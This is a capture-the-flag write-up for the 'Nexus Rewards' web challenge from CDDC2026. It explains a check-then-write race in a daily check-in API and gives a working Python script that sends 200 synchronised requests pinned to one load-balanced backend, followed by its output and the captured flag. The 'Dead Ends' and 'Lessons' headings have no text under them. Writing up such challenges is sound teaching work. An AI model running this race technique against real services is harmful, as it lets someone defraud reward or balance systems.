← All writeups

Web

CDDC2026 — Nexus Rewards

Category: Web Flag: CDDC2026{r4c3_c0nd1t10n_1s_r34l_thr34t_d89f2a1b}

Challenge

During the Rift patrol, Defender spotted the "Nexus Rewards" outpost. Investigate the system and acquire the rewards.

Target: http://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7219

The site is a single-page "Nexus Rewards" app (Express, behind an AWS ALB) with a dashboard, daily check-in, missions, leaderboard, and a "coming soon" shop. The frontend identifies the user via a random X-Session-ID header. The flag is gated by a points balance.

Recon

The HTML embeds the entire client. Endpoints discovered from the JS:

Method Path Notes
GET /api/stats returns points, lastClaim, streak, requiredPoints (1000), …
POST /api/daily-checkin grants +100 points, increments streak, sets lastClaim
GET /api/missions static list of missions, none completable via API
GET /api/leaderboard hard-coded top users
GET /api/shop items listed
POST /api/shop/purchase always responds "Shop feature coming soon!"
GET /api/flag returns the flag iff points >= requiredPoints

Session state lives in server memory keyed on X-Session-ID. The ALB pins a backend via AWSALB cookies; without the cookie, requests scatter across multiple backends, each with its own in-memory store.

Dead Ends

A lot of plausible vectors were tested and ruled out:

The Bug

The /api/daily-checkin handler does something like:

const user = await getUser(sid);                  // <-- await yields
if (user.lastClaim && now - user.lastClaim < 86400000) return blocked();
user.points += 100;
user.streak += 1;
user.lastClaim = now;

Even though Node is single-threaded, the await between reading lastClaim and writing it is a classic TOCTOU window. Many in-flight requests can all observe lastClaim === null before any of them gets to set it. Each then proceeds to award +100 and +1 streak.

The previous race attempts under-performed because:

  1. No AWSALB pin → claims land on different backends; each backend's state is isolated, so points don't aggregate against a single account.
  2. Pipelining on one socket → requests on the same connection are processed serially; only one can win the race per connection.

What's needed: many independent TCP connections, all pinned to the same backend, releasing their request bytes at the same instant.

Exploit

The script opens 200 sockets up-front (one AWSALB cookie shared, all pinned to the same backend), then uses a threading.Barrier so every thread blocks until all sockets are connected and only then does each thread call sendall of a single POST /api/daily-checkin. The simultaneous burst stuffs the server's accept queue with 200 requests before the first handler resolves its await.

import socket, time, threading, urllib.request, http.cookiejar

HOST, PORT = "cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com", 7219
SID = f"py{int(time.time()*1_000_000)}"

# Establish AWSALB stickiness so all 200 requests hit one backend.
jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
opener.open(f"http://{HOST}:{PORT}/").read()
cookie_hdr = "; ".join(f"{c.name}={c.value}" for c in jar)

N = 200
socks = [socket.create_connection((HOST, PORT)) for _ in range(N)]

req = (
    f"POST /api/daily-checkin HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"X-Session-ID: {SID}\r\n"
    f"Cookie: {cookie_hdr}\r\n"
    f"Content-Length: 0\r\n"
    f"Connection: keep-alive\r\n\r\n"
).encode()

results, lock = [], threading.Lock()
barrier = threading.Barrier(N)

def send(sock):
    barrier.wait()                     # everyone fires at the same instant
    sock.sendall(req)
    sock.settimeout(10)
    data = b""
    while True:
        chunk = sock.recv(65536)
        if not chunk: break
        data += chunk
        if b"HTTP/1.1" in data and data.endswith(b"}"): break
    with lock: results.append(data.decode(errors="ignore"))

threads = [threading.Thread(target=send, args=(s,)) for s in socks]
for t in threads: t.start()
for t in threads: t.join()

print("successes:", "\n".join(results).count('"success":true'))

print(opener.open(urllib.request.Request(
    f"http://{HOST}:{PORT}/api/stats", headers={"X-Session-ID": SID})).read().decode())
print(opener.open(urllib.request.Request(
    f"http://{HOST}:{PORT}/api/flag",  headers={"X-Session-ID": SID})).read().decode())

Output

[conns=200 batch=1] elapsed 0.28s success=18 failures=182
stats: {"points":1800,"lastClaim":...,"streak":18,"requiredPoints":1000,"missionsCompleted":0,"achievements":0}
flag:  {"success":true,"flag":"CDDC2026{r4c3_c0nd1t10n_1s_r34l_thr34t_d89f2a1b}", ...}

18 of 200 requests slipped through the TOCTOU window — 18 × 100 = 1800 points, comfortably above the 1000 gate. Subsequent reads of /api/flag returned the reward.

Flag

CDDC2026{r4c3_c0nd1t10n_1s_r34l_thr34t_d89f2a1b}

Lessons